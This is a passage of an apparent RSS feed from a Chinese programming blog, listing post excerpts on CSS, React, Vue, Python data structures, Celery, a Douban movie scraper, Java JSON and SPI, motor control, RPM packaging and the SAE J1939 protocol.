.com，至于小站倒无所谓，怎么好看怎么来（比如酋长即将使用的域名就不用www，直接poren.org）。&#xA;所以总的来说，http是一种网络访问协议，网站基于这个协议来保证正常访问；www是域名组成的其中一部分（非必须），起到网站具体主机位置的作用。&#xA;最后给大家稍微讲下域名与ip。一个网站的地址其实是一个ip，比如120.77.161.212这样的形式；但是对于电话号码都记不了多少的普遍大众，记一堆ip显然更麻烦，所以就发明了方便记忆的域名来绑定ip。&#xA;这就好比家庭地址，使用家里的具体地址，显然比背经纬度更方便。</description>
    </item>
    <item>
      <title>CSS中图片居中显示不拉伸，且占满盒子大小</title>
      <link>https://bchobby.github.io/posts/b72f36b5842205c7e9139dc91f1dece6/</link>
      <pubDate>Mon, 03 Aug 2020 12:35:56 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b72f36b5842205c7e9139dc91f1dece6/</guid>
      <description> CSS中图片居中显示不拉伸，且占满盒子大小 &amp;lt;div class=&#34;img_box&#34;&amp;gt; &amp;lt;img class=&#34;img&#34; src=&#39;URL&#39;/&amp;gt; &amp;lt;/div&amp;gt; .img_box{ width:200px; height:200px; position:relative; } .img { max-width: 100%; max-height: 100%; position: absolute; top: 0; right: 0; bottom: 0; left: 0; margin: auto; display: block; } </description>
    </item>
    <item>
      <title>React中input框为只读状态</title>
      <link>https://bchobby.github.io/posts/6df8294a6c861b15080d6b0838d013fc/</link>
      <pubDate>Mon, 03 Aug 2020 11:57:37 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/6df8294a6c861b15080d6b0838d013fc/</guid>
      <description>React中input框只读状态 &amp;lt;input type=&#34;text&#34; rereadOnly={true} defaultValue={“helloworld”} /&amp;gt; DOM事件：rereadOnly={true}&#xA;实现需求：&#34;hello world&#34;只可以被复制，不可以被修改</description>
    </item>
    <item>
      <title>React中jsx或tsx的switch语句使用</title>
      <link>https://bchobby.github.io/posts/3ceeed0152df6604e15b77a5483ac31c/</link>
      <pubDate>Mon, 03 Aug 2020 11:44:24 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/3ceeed0152df6604e15b77a5483ac31c/</guid>
      <description>React中jsx或tsx的switch语句使用 {(() =&amp;gt; {&#xA;switch (case) {&#xA;case “1”:&#xA;return (&#xA;)&#xA;break;&#xA;case “2”:&#xA;return (&#xA;)&#xA;break;&#xA;}&#xA;})()}</description>
    </item>
    <item>
      <title>Python数据结构与算法笔记（八）：数据结构——树，二叉树和AVL树</title>
      <link>https://bchobby.github.io/posts/f8e8d5574dbbb4b9022e29405ac41479/</link>
      <pubDate>Mon, 03 Aug 2020 09:42:07 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f8e8d5574dbbb4b9022e29405ac41479/</guid>
      <description>树 class Node: def __init__(self, name, type=&#39;dir&#39;): self.name = name self.type = type #&#34;dir&#34; or &#34;file&#34; self.children = [] self.parent = None # 链式存储 def __repr__(self): return self.name class FileSystemTree: def __init__(self): self.root = Node(&#34;/&#34;) self.now = self.root def mkdir(self, name): # name 以 / 结尾 if name[-1] != &#34;/&#34;: name += &#34;/&#34; node = Node(name) self.now.children.append(node) node.parent = self.now def ls(self): return self.now.children def cd(self, name): # &#34;/var/python/&#34; if name[-1] !</description>
    </item>
    <item>
      <title>Python数据结构与算法笔记（七）：数据结构——队列，链表和哈希表</title>
      <link>https://bchobby.github.io/posts/d63e4e578709560c14cdb355322b08aa/</link>
      <pubDate>Mon, 03 Aug 2020 09:41:10 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d63e4e578709560c14cdb355322b08aa/</guid>
      <description>队列 看成人在排队。&#xA;在出队到最后一个元素时，再想入队，使用列表可以在后面append，但是前面仍然占据着一部分内存，无法处理。想个办法让其收尾连成一个圈。&#xA;队列的实现方式：环形队列&#xA;判定一个队列是否为空，rear=front。最后一个图，rear和front之间空一位，是为了更好地判别这个队列是空的还是满的。&#xA;规定空的一块空间为队满。&#xA;对最大数取余，为0时，进入从0开始的索引。&#xA;class Queue: def __init__(self,size=100): self.queue = [0 for _ in range(size)] self.rear = 0 # 队尾指针 self.front = 0 # 队首指针 self.size = size def push(self,element): if not self.is_filled(): self.rear = (self.rear + 1) % self.size self.queue[self.rear] = element else: raise IndexError(&#39;Queue is filled.&#39;) def pop(self): if not self.is_empty(): self.front = (self.front + 1) % self.size return self.queue[self.front] else: raise IndexError(&#39;Queue is empty.</description>
    </item>
    <item>
      <title>Celery介绍以及使用</title>
      <link>https://bchobby.github.io/posts/fcc1e694b3e7204dca369268ddf46aac/</link>
      <pubDate>Mon, 03 Aug 2020 00:53:27 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/fcc1e694b3e7204dca369268ddf46aac/</guid>
      <description>文章目录 celery一、什么是celery1、celery是什么：2、使用场景3、Celery的优点4、Celery的安装 二、Celery执行异步任务1、创建异步任务执行文件（消费者）2、创建生产者文件3、创建result文件去获取任务函数的返回值，从而查看任务执行结果4、多目录结构5、异步任务和定时任务6、多目录结构下celery执行 三、Django中使用celery注意点概念介绍总体流程文件对应的代码 celery 转载地址：https://www.cnblogs.com/pyedu/p/12461819.html&#xA;视频讲解：https://www.bilibili.com/video/BV1Pa4y1Y7QN?p=1&#xA;一、什么是celery 1、celery是什么： celery是一个分布式队列的管理工具&#xA;celery是一个简单、灵活且可靠的，处理大量消息的分布式系统，专注于实时处理的异步任务队列，同时也支持任务调用&#xA;Celery的架构由三部分组成，消息中间件（message broker），任务执行单元（worker），任务执行结果存储（task result store）&#xA;2、使用场景 celery是一个强大的分布式任务队列的异步处理框架，它可以让任务的执行完全脱离主程序，甚至可以被分配到其他主机上运行。我们通常使用它来实现异步任务（async task）和定时任务（crontab）异步任务：将耗时操作任务提交给Celery去异步执行，比如发送短信/邮件、消息推送、音视频处理等等定时任务：定时执行某件事情，比如每天数据统计 3、Celery的优点 Simple简单：因为Celery作为一个对并发技术做了封装的框架，给别人使用和维护都不能做的很复杂，别人也不用太去了解底层的东西。Highly Available高可用：在分布式系统下，一定要做到高可用，保证分布式服务器中的程序对外供给的时间有一个最大的利用率，还要做到稳定Fast快速：单个Celery进程每分钟可以处理百万级的任务Flexible灵活：Celery几乎每个部分都可以扩展使用，自定义池实现、序列化、压缩方案、日志记录、调度器、消费者、生产者、broker传输等等。由于语法上调用比较简单，比如要将消息中间件由RabbitMQ换成Redis，则只需要去配置文件修改一下对应的IP和端口即可，其他配置都不太需要更改 4、Celery的安装 pip install -U Celery sudo easy_install Celery 二、Celery执行异步任务 1、创建异步任务执行文件（消费者） celery_task.py&#xA;import celery import time # backend（后台），就是task result store backend = &#39;redis://127.0.0.1:6379/1&#39; # broker 消息中间件 broker = &#39;redis://127.0.0.1:6379/2&#39;&#x9;# 实例化一个celery对象，test只是个名字，可以任意改 cel = celery.Celery(&#39;test&#39;, backend=backend, broker=broker) @cel.task # 使用celery中的装饰器将函数装饰成celery任务（可能是异步任务，可能是定时任务） def send_mail(name): print(&#39;向%s 发送邮件...&#39;%name) time.sleep(5) print(&#39;向%s 发送邮件完成&#39;%name) return &#39;ok&#39; @cel.task def send_msg(name): print(&#39;向%s 发送短信.</description>
    </item>
    <item>
      <title>爬虫实战爬取豆瓣电影Top250榜单电影</title>
      <link>https://bchobby.github.io/posts/e27377dd063a020eef7b7acf0c57cecb/</link>
      <pubDate>Sun, 02 Aug 2020 21:16:36 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e27377dd063a020eef7b7acf0c57cecb/</guid>
      <description>爬虫实战爬取豆瓣电影Top250榜单电影 实战内容：直接上代码，重要地方有注释。 from bs4 import BeautifulSoup import re import urllib.request,urllib.error import xlwt import sqlite3 def main(): baseurl = &#34;https://movie.douban.com/top250?start=&#34; #1.爬取网页 datalist = getData(baseurl) savepath = &#34;豆瓣电影Top250.xls&#34; #3.保存数据 saveData(datalist,savepath) #askURL(&#34;https://movie.douban.com/top250?start=&#34;) findlink = re.compile(r&#39;&amp;lt;a href=&#34;(.*?)&#34;&amp;gt;&#39;)#影片详情链接 findImgSrc = re.compile(r&#39;&amp;lt;img.*src=&#34;(.*?)&#34;&#39;,re.S)#让换行符包含在字符中 #影片图片链接 findtitle = re.compile(r&#39;&amp;lt;span class=&#34;title&#34;&amp;gt;(.*)&amp;lt;/span&amp;gt;&#39;)#影片片名 findRating = re.compile(r&#39;&amp;lt;span class=&#34;rating_num&#34; property=&#34;v:average&#34;&amp;gt;(.*)&amp;lt;/span&amp;gt;&#39;)#影片评分 findJudge = re.compile(r&#39;&amp;lt;span&amp;gt;(\d*)人评价&amp;lt;/span&amp;gt;&#39;) findInq = re.compile(r&#39;&amp;lt;span class=&#34;inq&#34;&amp;gt;(.*)&amp;lt;/span&amp;gt;&#39;) findBd = re.compile(r&#39;&amp;lt;p class=&#34;&#34;&amp;gt;(.*?)&amp;lt;/p&amp;gt;&#39;,re.S) #爬取网页 def getData(baseurl): datalist = [] for i in range(0,10): url =baseurl + str(i*25) html = askURL(url) #2.</description>
    </item>
    <item>
      <title>Vue中需要注意的地方</title>
      <link>https://bchobby.github.io/posts/04687ea6ea1c5aad101ba817a29cbd57/</link>
      <pubDate>Sun, 02 Aug 2020 18:20:45 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/04687ea6ea1c5aad101ba817a29cbd57/</guid>
      <description> 1. ESlint ESlint 是一个代码规范检查工具，它定义了很多特定的规则, 一旦你的代码违背了某一规则, ESlint 会作出非常有用的提示。ESlint提供以下支持：ES, JSX, style检查以及自定义错误和提示。 2. 组件化编码的基本流程 拆分组件实现静态组件实现动态组件&#xA;初始化显示&#xA;动态交互（写交互要先给目标元素绑定监听） 动态组件的实现还主要包括实现初始化显示和动态交互功能。&#xA;此外还要对在编码时所使用的数据确定数据名称，定义数据的类型。同时还要分析对于这个数据是某一个组件需要还是某些组件需要。&#xA;3. 模板字符串(ES6) window.confirm(`确定删除${comment.name}的评论吗?`) 模板字符串（template string）是增强版的字符串，用反引号（`）标识。它可以当作普通字符串使用，也可以用来定义多行字符串，或者在字符串中嵌入变量。&#xA;4. 鼠标滑入/滑出监听 mouseenter/mouseleave&#xA;对当前元素及其内部元素都有效。&#xA;mouseover/mouseout&#xA;只对当前元素有效，对内部元素无效。&#xA;5. 数据存储(localStorage) localStorage 和 sessionStorage 属性允许在浏览器中存储 key-value 对的数据。localStorage 用于长久保存整个网站的数据，保存的数据没有过期时间，直到手动去删除。localStorage 属性是只读的。在使用数据存储时要先分析数据的存储和读取时间。使用深度监视能够监视内部的任何改变。 watch: { todos: { deep: true, // 深度监视 handler: function (value) { // 将todos最新的值的JSON数据格式保存到localStorage中 window.localStorage.setItem(&#39;todos_key&#39;, JSON.stringify(value)) } } } 当要保存的数据为数组或对象类型时，要先用JSON.stringify()转换为JSON格式，在window.localStorage.getItem时再使用JSON.parse()转换回源格式。&#xA;6. 其他 写函数方法时要分析确定到底要不要传形参，如果要传的话传的是什么，参数是一个还是多个，名字叫什么。当既要读这个数据又要监视数据的变化就要想到使用计算属性。深度监视：能够监视内部任何的改变 </description>
    </item>
    <item>
      <title>网页前端与java后台的json数据交互</title>
      <link>https://bchobby.github.io/posts/f8e1f242877a63d0bd65889456829d26/</link>
      <pubDate>Sun, 02 Aug 2020 15:57:11 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f8e1f242877a63d0bd65889456829d26/</guid>
      <description>涉及技术 html+js+jquery+java+tomcat&#xA;json的java解析工具jar包（maven依赖）（这个不是一定需要的）：&#xA;&amp;lt;!--主要使用jsonobject类，--&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;com.alibaba&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;fastjson&amp;lt;/artifactId&amp;gt; &amp;lt;version&amp;gt;1.2.28&amp;lt;/version&amp;gt; &amp;lt;/dependency&amp;gt; 1，web后台向前端发送json数据 java本身是没有json数据格式的，利用的是第三方实现的类JSONObject。其实直接向网页传送json字符串也是可以的。&#xA;JSONObject传送： //设置字符格式 response.setCharacterEncoding(&#34;UTF-8&#34;); response.setContentType(&#34;text/html;charset=UTF-8&#34;); //创建json并向里面添加数据 JSONObject json=new JSONObject(); json.put(&#34;name&#34;,&#34;精灵公主&#34;); json.put(&#34;age&#34;,&#34;18&#34;); json.put(&#34;words&#34;,&#34;夜空越暗，星星越亮&#34;); //向请求数据的网页回应数据 PrintWriter printWriter= null; printWriter = response.getWriter(); printWriter.print(json); printWriter.flush(); printWriter.close(); 直接访问得到的是json数据。我自己的servlet类对外访问路径是/QingDataServlet。&#xA;html页面：&#xA;&amp;lt;!DOCTYPE html&amp;gt; &amp;lt;html lang=&#34;en&#34;&amp;gt; &amp;lt;head&amp;gt; &amp;lt;meta charset=&#34;UTF-8&#34;&amp;gt; &amp;lt;title&amp;gt;Title&amp;lt;/title&amp;gt; &amp;lt;script src=&#34;../jq/jquery-3.4.1.min.js&#34;&amp;gt;&amp;lt;/script&amp;gt; &amp;lt;/head&amp;gt; &amp;lt;body&amp;gt; &amp;lt;/body&amp;gt; &amp;lt;script&amp;gt; $(document).ready(function () { $.getJSON(&#34;/QingDataServlet&#34;,function (datas) { console.log(datas); for (var data in datas){ console.log(data+&#34;=&#34;+datas[data]); } }); }); &amp;lt;/script&amp;gt; &amp;lt;/html&amp;gt; 运行调试结果：&#xA;字符串直接传送： 其实java后台是直接传送json数据格式的字符串。所以我们只要传个json数据的字符串就可以了。比如下面的：</description>
    </item>
    <item>
      <title>无刷直流电机反电动势过零检测_TI电机库源码</title>
      <link>https://bchobby.github.io/posts/27b4cf0fbc70b9ca8389f6c9953a6f36/</link>
      <pubDate>Sat, 01 Aug 2020 11:57:28 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/27b4cf0fbc70b9ca8389f6c9953a6f36/</guid>
      <description>FOC中的Clarke变换_TI和ST电机控制库的源码实现&#xA;FOC中的PARK变换_TI和ST电机控制库的源码实现&#xA;FOC中的反PARK变换_TI和ST电机控制库的源码实现&#xA;1.位置信息 无刷电机的控制不可脱离转子的位置信息。知道转子的位置反馈是对无刷电机控制的前提。通常分为有感和无感。&#xA;有感:即为有位置传感器，像霍尔、光电增量式编码器、旋转变压器、磁编等等。&#xA;无感:则是电机不需要位置传感器，通过电机自身的信息计算或则估计转子的位置。&#xA;2.无感的方法 基于模型法的位置/转速观测器有三部分，反电动势、磁链信息观测、位置误差信号解耦位置/转速观测。反电动势或磁链信息观测方法的不同，模型有自适应法、扩展卡尔曼滤波器法、磁链观测法、状态观测法、滑膜观测法。&#xA;反电动势过零检测法应用广泛，实现简单、技术成熟。&#xA;3.反电动势过零检测 3.1反电动势过零检测法基本原理： 忽略电动机电枢反应，无刷直流电动机在稳态运行过程中，通过检测关断相的反电动势过零点获得转子的位置信号，进行对逆变器开关导通顺序切换，控制电机运动。&#xA;3.2缺点: 电机静止和低速时，反电动势很小或者为0，无法获取转子位置信号，电机低速时性能较差，启动时需要开环启动。&#xA;3.3硬件电路 反电动势图：&#xA;正向反电动势过零点变化：&#xA;反电动势零点变化趋势C-C相反电动势又正到负B+B相反电动势又负到正A-A相反电动势又正到负C+C相反电动势又负到正B-B相反电动势又正到负A+A相反电动势又负到正 3.4电路计算： 可以直接得到电机端的电压方程：&#xA;{ U A = R i A + L d i A d t + e A + U N U B = R i B + L d i B d t + e B + U N U C = R i C + L d i C d t + e C + U N ① \left\{ \begin{array}{l} U_A=Ri_A+L\frac{di_A}{dt}+e_A+U_N\\ U_B=Ri_B+L\frac{di_B}{dt}+e_B+U_N\\ U_C=Ri_C+L\frac{di_C}{dt}+e_C+U_N\\ \end{array} \right.</description>
    </item>
    <item>
      <title>【收藏】RPM包制作和spec文件详解</title>
      <link>https://bchobby.github.io/posts/e31ff7e5d74bc0600f673198bb1eaf2e/</link>
      <pubDate>Sat, 01 Aug 2020 11:23:41 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e31ff7e5d74bc0600f673198bb1eaf2e/</guid>
      <description>1、How to create an RPM package/zh-cn https://fedoraproject.org/wiki/How_to_create_an_RPM_package/zh-cn#RPM_.E5.9F.BA.E7.A1.80.E7.9F.A5.E8.AF.86&#xA;目录清晰，知识点全面&#xA;2、CSDN : RPM打包原理、示例、详解及备查 https://blog.csdn.net/get_set/article/details/53453320&#xA;根据spec文件编写逻辑排序，针对每个目录讲解详细，包含各种spec文件需要的宏含义。</description>
    </item>
    <item>
      <title>vue移动端项目中使用postcss-pxtorem进行适配方案</title>
      <link>https://bchobby.github.io/posts/1e113bf5d1e0b7b047f4318a1c7a662c/</link>
      <pubDate>Sat, 01 Aug 2020 10:57:43 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/1e113bf5d1e0b7b047f4318a1c7a662c/</guid>
      <description>首先，我们先使用vue-cli创建一个初始化的vue项目。&#xA;vue create hello-world 当项目创建好以后，我们在根目录下新建一个vue.config.js，想必大家也都懂这个文件是干什么的。&#xA;既然是使用postcss-pxtorem对移动端项目进行适配，那肯定先要安装它，于是我们在电脑上敲下这行命令&#xA;npm install postcss-pxtorem -D postcss-pxtorem有一个好伙伴amfe-flexible，也需要一并安装。&#xA;npm install amfe-flexible -D 当我们安装好这两个依赖以后呢，我们就要使用它们了，先在main.js中引入amfe-flexible&#xA;import Vue from &#39;vue&#39; import App from &#39;./App.vue&#39; import router from &#39;./router&#39; import store from &#39;./store&#39; // 引入amfe-flexible import &#39;amfe-flexible/index&#39; Vue.config.productionTip = false new Vue({ router, store, render: h =&amp;gt; h(App) }).$mount(&#39;#app&#39;) 然后我们在vue.config.js文件中对postcss-pxtorem进行配置。&#xA;const autoprefixer = require(&#39;autoprefixer&#39;) // 这个依赖不用安装 const pxtorem = require(&#39;postcss-pxtorem&#39;) module.exports = { css: { loaderOptions: { postcss: { plugins: [ autoprefixer(), pxtorem({ rootValue: 37.</description>
    </item>
    <item>
      <title>推荐一款技术人必备的接口测试神器：Apifox</title>
      <link>https://bchobby.github.io/posts/a3b0e11ffcb4bc03a22ee88de9729a4d/</link>
      <pubDate>Fri, 31 Jul 2020 20:55:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a3b0e11ffcb4bc03a22ee88de9729a4d/</guid>
      <description>推荐阅读： 这套Github上40K+star学习笔记，可以帮你搞定95%以上的Java面试&#xA;毫不夸张的说，这份SpringBoot学习指南能解决你遇到的98%的问题&#xA;最全面试题新鲜出炉：70+算法题、近30种大厂面试笔试常考知识点&#xA;1. 背景 作为互联网行业技术从业者，接口调试是必不可少的一项技能，通常我们都会选择使用 Postman 这类工具来进行接口调试，在接口调试方面 Postman 做的确实非常出色。&#xA;但是在整个软件开发过程中，接口调试只是其中的一部分，还有很多事情 Postman 是无法完成的，或者无法高效完成，比如：接口文档定义、Mock 数据、接口自动化测试等等。&#xA;今天给大家推荐的一款神器: Apifox，它是集：接口文档管理、接口调试、Mock、接口自动化测试于一体的。有的读者乍一看，会觉得和YAPI有点类似，但两者在功能特色上，只能说是各有千秋的。&#xA;细心的读者，会发现文章，正文干货还没有开始，就已经为大家推荐了三款效率神器: Apifox、Postwoman、YAPI。&#xA;2. 聊一聊接口管理的现状 对于接口管理的现状来说，目前行业大部分采取的解决方案有如下几种：&#xA;使用 Swagger 管理接口文档。&#xA;使用 Postman 调试接口。&#xA;使用 RAP或Easy Mock来进行 Mock 数据。&#xA;使用 JMeter 做接口自动化测试。&#xA;上述的接口管理手段，咋一看，貌似没有什么问题，但仔细分析，不难发现，当中存在的问题还真不少，比如要维护不同工具，并且这些工具之间数据一致性非常困难、非常低效。这里不仅仅是工作量的问题，更大的问题是多个系统之间数据不一致，导致协作低效，频繁出问题，开发人员、测试人员痛苦不堪。&#xA;设想一下这样的一个协作流程：&#xA;开发人员在 Swagger 定义好文档后，接口调试的时候还需要去 Postman 再定义一遍。前端开发 Mock 数据的时候又要去 RAP 或Easy Mock定义一遍，手动设置好 Mock 规则。测试人员需要去 JMeter 定义一遍。前端根据 RAP 或Easy Mock定义 Mock 出来的数据开发完，后端根据 Swagger 定义的接口文档开发完，各自测试测试通过了，本以为可以马上上线，结果一对接发现各种问题：原来开发过程中接口变更，只修改了 Swagger，但是没有及时同步修改 RAP 或Easy Mock。同样，测试在 JMeter 写好的测试用例，真正运行的时候也会发现各种不一致。时间久了，各种不一致会越来越严重。 3. Apifor介绍 官方对Apifor定位，Apifox = Postman + Swagger + Mock + JMeter，如下图所示</description>
    </item>
    <item>
      <title>css中的position定位</title>
      <link>https://bchobby.github.io/posts/2972713bee482fc1d881281d2ee662b8/</link>
      <pubDate>Fri, 31 Jul 2020 15:08:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/2972713bee482fc1d881281d2ee662b8/</guid>
      <description>前言： 在画页面时遇到一个问题，用element-ui的图片放大查看大图的时候，放大后的图片仍然显示在小图的div中，而不是视口大小。在调试工具中排查问题，发现当把图片div的transform属性去掉之后，元素定位正常在视口，如果添加了transform属性，则仍旧显示在小图的视图div中。查看文档后发现是fixed定位的条件限制。&#xA;position属性用于指定一个元素在文档中的定位方式。定位属性：top right bottom left 决定了元素的最终显示位置。&#xA;1. 定位类型 相对定位 relative绝对定位 absolute fixed粘性定位 stickily 2. 定位后的尺寸 width和height被设定为auto后的绝对定位的元素，会按其内容大小调整尺寸。此外，被绝对定位的元素，可以通过设置top + bottom开保留height未指定的height高度，left + right来指定水平的weight宽度，并且如果原来设置了weight和height，仍以定位的宽高为准。&#xA;如果 top 和 bottom 都被指定（严格来说，这里指定的值不能为 auto ），top 优先。如果指定了 left 和 right ，当 direction设置为 ltr（水平书写的中文、英语）时 left 优先， 当direction设置为 rtl（阿拉伯语、希伯来语、波斯语由右向左书写）时 right 优先。&#xA;3. 取值 3.1 static （默认）元素在文档常规流中当前的布局位置。&#xA;3.2 relative 元素先放置在未添加定位时的位置，再在不改变页面布局的前提下调整元素位置，相对定位的元素并未脱离文档流（因此会在此元素未添加定位时所在位置留下空白）。&#xA;position:relative 对 table-*-group, table-row, table-column, table-cell, table-caption 元素无效。&#xA;3.3 absolute 元素会被移出正常文档流，并不为元素预留空间，通过指定元素相对于最近的非 static 定位祖先元素的偏移，来确定元素位置。绝对定位的元素可以设置外边距（margins），且不会与其他边距合并。元素会跟随页面的滚动而滚动。&#xA;3.4 fixed 元素会被移出正常文档流，并不为元素预留空间，而是通过指定元素相对于屏幕视口（viewport）的位置来指定元素位置。元素的位置在屏幕滚动时不会改变。打印时，元素会出现在的每页的固定位置。fixed 属性会创建新的层叠上下文。当元素祖先的 transform, perspective 或 filter 属性非 none 时，容器由视口改为该祖先。元素不会根据页面的滚动而滚动。</description>
    </item>
    <item>
      <title>SAEJ1939-21数据链路层部分解读（第一部分）</title>
      <link>https://bchobby.github.io/posts/021ca7474a305f3afcb01288e95b581d/</link>
      <pubDate>Fri, 31 Jul 2020 15:04:34 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/021ca7474a305f3afcb01288e95b581d/</guid>
      <description>OSI在SAEJ1939中的应用：&#xA;应用层-&amp;gt;网络层-&amp;gt;数据链路-&amp;gt;介质访问控制-&amp;gt;物理层。&#xA;对应：&#xA;优先级，R,DP,PF,SA,数据-&amp;gt;一个或多个PDU-&amp;gt;一个或多个CAN数据帧。&#xA;R是保留位，DP是数据页，PF是PDU格式，PS是特定PDU，SA是源地址。CAN是控制器局域网,ID是标识符，P是优先级，GE是群扩展，DA是目标地址，RTR是远程运输请求。SA是帧起始。&#xA;PDU（协议数据单元），它定义了一个框架，框架里组成一些要发送消息并放入CAN数据帧。通过物理介质传送到网络设备。&#xA;PF是PDU格式，既是确定PDU格式的8位构成于，也是确定数据域对应的参数群编号的域。&#xA;如果消息大于8字节，必须分组封装发送。小于8字节，使用单个CAN数据帧。&#xA;PS是特定的PDU，取决于PDU的格式。它可能是目标地址DA，可能是群扩展GE。如果PF值小于240，它是目标地址；在240和255之间，它就是群扩展。&#xA;SA源地址，它的域长8位，一个源地址只能匹配一个设备。&#xA;数据域:长度在0到8字节的数据，它表示一个给定参数群是，可用CAN数据帧全部的的8个字节。&#xA;长度在9到1785个字节时，数据通信通过多个CAN数据帧实现。会使用传输协议功能&#xA;PDU1格式：适用于参数群被发送到特定目的地和全局目的地。&#xA;PDU2格式：只能用在作为全局消息的参数组通信中。它的消息的值在240到255之间，值为255留做专用&#xA;消息类型：命令，请求，广播/响应,确认和群扩展&#xA;命令：消息类型包括哪些从源地址命令特定目的地或全局目的地的参数群，目的地接收到关于命令类型的消息应采取特定的动作。&#xA;它的类型消息包括传动控制、地址请求、扭矩/速度控制等。&#xA;请求：消息类型包括了从全局范围到特定目的地请求信息的功能。&#xA;广播/响应：消息类型是某设备主动提供的消息广播，也可能是命令或请求的响应。&#xA;确认：两种形式。第一种由CAN协议规定，它是确认消息已被至少一个节点接收的“帧内”确认组成。第二种由应用层规定，对于特定命令、请求的普通广播或ACK或NACK响应。&#xA;群功能：此消息类型用于一组特殊功能（如专用功能、网络管理功能、多组传输功能等）。专用群功能规定另一个在传输专用消息过程中消除不同制造商之间CAN标识符的方法，同时也规定 了当需要接收员和识别专用消息的方法。&#xA;消息优先级:CAN标识符的值决定了消息优先级。较小值0具有较高的优先级，值最大的CAN标识符优先级却是最低的。&#xA;总线访问：总线空闲时，任何节点都可以传送数据帧。假如两个或者两个以上的节点要同时传送数据帧，总线访问冲出用CAN数据帧的标识符通过仲裁来解决。&#xA;争夺仲裁：仲裁过程中。每个传送者对传输位级别和总线上的被监控的级别进行比较。若两者相等，节点继续发送。发送“隐性”电平而检测到“显性”电平时，节点会失去仲裁，必须取消发送数据。当发送“显性”电平而检测到“隐性”电平时，节点则检测到一个位错。&#xA;错误检测：监控（传送者对发送位电平和总线检测的位电平进行比较）。&#xA;源地址和参数群编号的分配过程：&#xA;参数群使用 PDU1&#xA;或者 PDU2 格式来进行专门分配。一旦为参数群分配了其中一种格式，则另外一种格式就不&#xA;可分配给该参数群。当需要发送一个参数群到某个指定的目标地址时，必须使用 PDU1 格式。&#xA;**地址分配准则：**在 SAE J1939 中，未被分配的地址数目是有限的，因此必须有效地分配新的地址。在整个系统中，可分配的地址数目最大不能超过 256。&#xA;参数群设定准则：&#xA;a. PDU1 格式（PS=允许指定目的地通讯的目标地址）&#xA;b. PDU2 格式通讯（PS=群扩展）&#xA;c. 使用两个预定义的专用参数群编号的专用通讯&#xA;PDU2 格式通讯应用于以下场合：&#xA;a. 从一个或多个源地址发送消息到一个目标地址&#xA;b. 从一个或多个源地址发送消息到多个目标地址&#xA;PDU2 格式通讯不能用于发送消息到众多目标地址中的一个。&#xA;通过使用专用的参数群编号实现了第三种通讯方法，专用通讯。有一个参数群编号被分配用于非指定目的地专用通讯，而另一个参数群编号被分配用于指定目的地专用通讯。&#xA;专用通讯应用于以下两种情况：&#xA;a. 在不需要进行标准通讯的场合&#xA;b. 在进行专用信息通讯很重要的场合&#xA;数据域的定义：&#xA;基于 CAN 的系统中，最短的消息也需要全部使用数据域（全部 8 个字节）。除非是</description>
    </item>
    <item>
      <title>uniapp引入本地图片</title>
      <link>https://bchobby.github.io/posts/9dc7ed74d52d95c0f312c469f45e6cc7/</link>
      <pubDate>Fri, 31 Jul 2020 10:27:49 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/9dc7ed74d52d95c0f312c469f45e6cc7/</guid>
      <description> 注意使用相对路径，需要require&#xA;&amp;lt;image class=&#34;&#34; mode=&#34;aspectFill&#34; :lazy-load=&#34;true&#34; :src=&#34;require(&#39;./img/beauty.png&#39;)&#34; /&amp;gt; </description>
    </item>
    <item>
      <title>SPI 机制原理</title>
      <link>https://bchobby.github.io/posts/268b410a15728fb43be455ae416c4595/</link>
      <pubDate>Thu, 30 Jul 2020 18:04:47 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/268b410a15728fb43be455ae416c4595/</guid>
      <description>SPI 机制原理 Java SPI 机制使用介绍 Dubbo SPI 机制标签@SPI 用法标签@Activate 用法标签@Adaptive 用法 总结 因 dubbo 框架是建立的 SPI 机制上，因此在探寻 dubbo 框架源码前，我们需要先把 SPI 机制了解透彻&#xA;Java SPI 机制 SPI 全称 Service Provider Interface，是 Java 提供的一套用来被第三方实现或者扩展的 API，它可以用来启用框架扩展和替换组件。&#xA;可以看到，SPI 的本质，其实是帮助程序，为某个特定的接口寻找它的实现类。而且哪些实现类的会加载，是个动态过程（不是提前预定好的）。有点类似 IOC 的思想，就是将装配的控制权移到程序之外，在模块化设计中这个机制尤其重要。所以 SPI 的核心思想就是解耦。&#xA;使用介绍 要使用 Java SPI，需要遵循如下约定：&#xA;当服务提供者提供了接口的一种具体实现后，在 jar 包的META-INF/services 目录下创建一个以“接口全限定名”为命名的文件，内容为实现类的全限定名；接口实现类所在的 jar 包放在主程序的 classpath 中；主程序通过 java.util.ServiceLoder 动态装载实现模块，它通过扫描META-INF/services 目录下的配置文件找到实现类的全限定名，把类加载到 JVM；SPI 的实现类必须携带一个不带参数的构造方法； 示例&#xA;先定义一个接口&#xA;public interface InfoService { Object sayHello(String name) ; } 在定义几个实现类&#xA;public class InfoServiceAImpl implements InfoService { @Override public Object sayHello(String name) { System.</description>
    </item>
    <item>
      <title>java.lang.StackOverflowError: null解决方法</title>
      <link>https://bchobby.github.io/posts/2d1954b24871fddf55873caa0496921a/</link>
      <pubDate>Thu, 30 Jul 2020 16:55:08 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/2d1954b24871fddf55873caa0496921a/</guid>
